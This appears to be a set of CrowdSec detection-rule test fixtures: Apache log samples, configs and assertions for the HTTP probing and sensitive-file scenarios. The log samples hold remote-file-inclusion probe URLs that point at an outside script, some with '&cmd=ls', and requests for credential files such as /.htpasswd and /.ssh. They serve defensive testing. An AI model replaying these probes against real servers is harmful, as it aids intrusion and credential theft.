172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/rwb/user_bottom.php?config[template_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/rwb/user_bottom.php?config[template_path]=http://cirt.net/rfiinc.txt??&cmd=ls HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template_csv.php?rInfo[content]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /templates/2blue/bodyTemplate.php?serverPath=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /templates/2blue/bodyTemplate.php?serverPath=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /templates/Official/part_userprofile.php?template_path=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 hub1/.tests/apache-http-probing/config.yaml000066400000000000000000000004021437532772500211350ustar00rootroot00000000000000parsers: - crowdsecurity/apache2-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - crowdsecurity/http-probing postoverflows: - "" log_file: apache-http-probing.log log_type: apache2 ignore_parsers: true hub1/.tests/apache-http-probing/parser.assert000066400000000000000000000000001437532772500215150ustar00rootroot00000000000000hub1/.tests/apache-http-probing/scenario.assert000066400000000000000000000164541437532772500220500ustar00rootroot00000000000000len(results) == 1 "172.17.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[0].Overflow.Sources["172.17.0.1"].Range == "" results[0].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/src/scripture.php?pageHeaderFile=http://cirt.net/rfiinc.txt??" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/starnet/themes/c-sky/main.inc.php?cmsdir=http://cirt.net/rfiinc.txt??" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/start.php?lang=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/start.php?pg=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/stat_modules/users_age/module.php?phpbb_root_path=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/stats.php?vwar_root=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("http_args_len") == "7" results[0].Overflow.Alert.Events[6].GetMeta("http_path") == "/stats.php?vwar_root=http://cirt.net/rfiinc.txt??&cmd=ls" results[0].Overflow.Alert.Events[6].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[6].GetMeta("service") == "http" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[7].GetMeta("http_path") == "/stphpapplication.php?STPHPLIB_DIR=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[7].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[7].GetMeta("service") == "http" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[8].GetMeta("http_path") == "/stphpbtnimage.php?STPHPLIB_DIR=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[8].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[8].GetMeta("service") == "http" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[9].GetMeta("http_path") == "/stphpform.php?STPHPLIB_DIR=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[9].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[9].GetMeta("service") == "http" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "apache-http-probing.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[10].GetMeta("http_path") == "/str.php?p=http://cirt.net/rfiinc.txt?" results[0].Overflow.Alert.Events[10].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[10].GetMeta("service") == "http" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-probing" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 11 hub1/.tests/apache2-http-sensitive-files/000077500000000000000000000000001437532772500205435ustar00rootroot00000000000000hub1/.tests/apache2-http-sensitive-files/apache2-http-sensitive-files.log000066400000000000000000000017461437532772500266450ustar00rootroot00000000000000172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.htpasswd HTTP/1.1" 403 199 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.listing HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.listings HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.mysql_history HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.passwd HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.pwd HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.perf HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.profile HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.rhosts HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.sh_history HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.ssh HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.subversion HTTP/1.1" 404 196 172.17.0.1 - - [30/Sep/2021:08:00:55 +0000] "GET /.svn HTTP/1.1" 404 196 hub1/.tests/apache2-http-sensitive-files/config.yaml000066400000000000000000000003711437532772500226750ustar00rootroot00000000000000parsers: - crowdsecurity/apache2-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-sensitive-files postoverflows: - "" log_file: apache2-http-sensitive-files.log log_type: apache2 ignore_parsers: true hub1/.tests/apache2-http-sensitive-files/parser.assert000066400000000000000000000000001437532772500232500ustar00rootroot00000000000000hub1/.tests/apache2-http-sensitive-files/scenario.assert000066400000000000000000000061021437532772500235700ustar00rootroot00000000000000len(results) == 1 "172.17.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[0].Overflow.Sources["172.17.0.1"].Range == "" results[0].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache2-http-sensitive-files.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/.htpasswd" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "403" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apache2-http-sensitive-files.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/.listing" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apache2-http-sensitive-files.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/.listings" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apache2-http-sensitive-files.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/.mysql_history" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apache2-http-sensitive-files.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/.passwd" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-sensitive-files" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 5 hub1/.tests/apache2-logs/000077500000000000000000000000001437532772500154215ustar00rootroot00000000000000hub1/.tests/apache2-logs/apache2-logs.log000066400000000000000000000021431437532772500203710ustar00rootroot0000000000000093.43.209.58 - - [08/Jun/2020:06:49:01 +0000] "GET / HTTP/1.0" 500 803 "-" "-" 164.68.112.178 - - [08/Jun/2020:07:01:28 +0000] "GET / HTTP/1.0" 500 799 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 195.54.160.135 - - [08/Jun/2020:08:04:43 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 500 803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" www.crowdsec.net 1.2.3.4 - - [08/Jun/2020:08:04:43 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 500 803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 93.43.209.58 - - [08/Jun/2020:06:49:01 +0000] "POST /login HTTP/1.0" 500 803 "-" "-" 116.203.1.1 - - [05/Mar/2021:09:01:38 +0100] "GET /test/lists/sip_30d.txt HTTP/1.0" 200 1513 website.com:443 1.2.3.4 - - [25/Oct/2021:11:05:52 +0200] "GET /web/.well-known HTTP/1.1" 403 6963 "abc.com" "User-agent-string" [Thu Oct 13 12:24:49.880562 2022] [auth_basic:error] [pid 10:tid 140120579262208] [client 31.33.58.75:50229] AH01618: user sss not found: / hub1/.tests/apache2-logs/config.yaml000066400000000000000000000002741437532772500175550ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/apache2-logs.yaml scenarios: - "" postoverflows: - "" collections: [] log_file: apache2-logs.log log_type: apache2 hub1/.tests/apache2-logs/parser.assert000066400000000000000000000554271437532772500201550ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 8 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "93.43.209.58 - - [08/Jun/2020:06:49:01 +0000] \"GET / HTTP/1.0\" 500 803 \"-\" \"-\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "164.68.112.178 - - [08/Jun/2020:07:01:28 +0000] \"GET / HTTP/1.0\" 500 799 \"-\" \"masscan/1.0 (https://github.com/robertdavidgraham/masscan)\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "195.54.160.135 - - [08/Jun/2020:08:04:43 +0000] \"GET /solr/admin/info/system?wt=json HTTP/1.1\" 500 803 \"-\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\"" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "www.crowdsec.net 1.2.3.4 - - [08/Jun/2020:08:04:43 +0000] \"GET /solr/admin/info/system?wt=json HTTP/1.1\" 500 803 \"-\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\"" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "93.43.209.58 - - [08/Jun/2020:06:49:01 +0000] \"POST /login HTTP/1.0\" 500 803 \"-\" \"-\"" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "116.203.1.1 - - [05/Mar/2021:09:01:38 +0100] \"GET /test/lists/sip_30d.txt HTTP/1.0\" 200 1513" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "website.com:443 1.2.3.4 - - [25/Oct/2021:11:05:52 +0200] \"GET /web/.well-known HTTP/1.1\" 403 6963 \"abc.com\" \"User-agent-string\"" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "[Thu Oct 13 12:24:49.880562 2022] [auth_basic:error] [pid 10:tid 140120579262208] [client 31.33.58.75:50229] AH01618: user sss not found: /" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "apache2" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 8 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false len(results["s01-parse"]["crowdsecurity/apache2-logs"]) == 8 results["s01-parse"]["crowdsecurity/apache2-logs"][0].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["timestamp"] == "08/Jun/2020:06:49:01 +0000" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["auth"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["request"] == "/" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["message"] == "93.43.209.58 - - [08/Jun/2020:06:49:01 +0000] \"GET / HTTP/1.0\" 500 803 \"-\" \"-\"" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["referrer"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["bytes"] == "803" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["httpversion"] == "1.0" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["ident"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["clientip"] == "93.43.209.58" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Parsed["response"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["source_ip"] == "93.43.209.58" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["http_path"] == "/" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["http_status"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][0].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["auth"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["referrer"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["request"] == "/" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["response"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["ident"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["clientip"] == "164.68.112.178" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["http_user_agent"] == "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["message"] == "164.68.112.178 - - [08/Jun/2020:07:01:28 +0000] \"GET / HTTP/1.0\" 500 799 \"-\" \"masscan/1.0 (https://github.com/robertdavidgraham/masscan)\"" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["bytes"] == "799" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["httpversion"] == "1.0" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Parsed["timestamp"] == "08/Jun/2020:07:01:28 +0000" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["http_status"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["http_path"] == "/" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["http_user_agent"] == "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" results["s01-parse"]["crowdsecurity/apache2-logs"][1].Evt.Meta["source_ip"] == "164.68.112.178" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["timestamp"] == "08/Jun/2020:08:04:43 +0000" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["clientip"] == "195.54.160.135" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["message"] == "195.54.160.135 - - [08/Jun/2020:08:04:43 +0000] \"GET /solr/admin/info/system?wt=json HTTP/1.1\" 500 803 \"-\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\"" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["referrer"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["request"] == "/solr/admin/info/system?wt=json" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["httpversion"] == "1.1" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["ident"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["auth"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["bytes"] == "803" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Parsed["response"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["http_path"] == "/solr/admin/info/system?wt=json" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["source_ip"] == "195.54.160.135" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["http_status"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][2].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["httpversion"] == "1.1" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["referrer"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["request"] == "/solr/admin/info/system?wt=json" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["response"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["timestamp"] == "08/Jun/2020:08:04:43 +0000" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["verb"] == "GET" 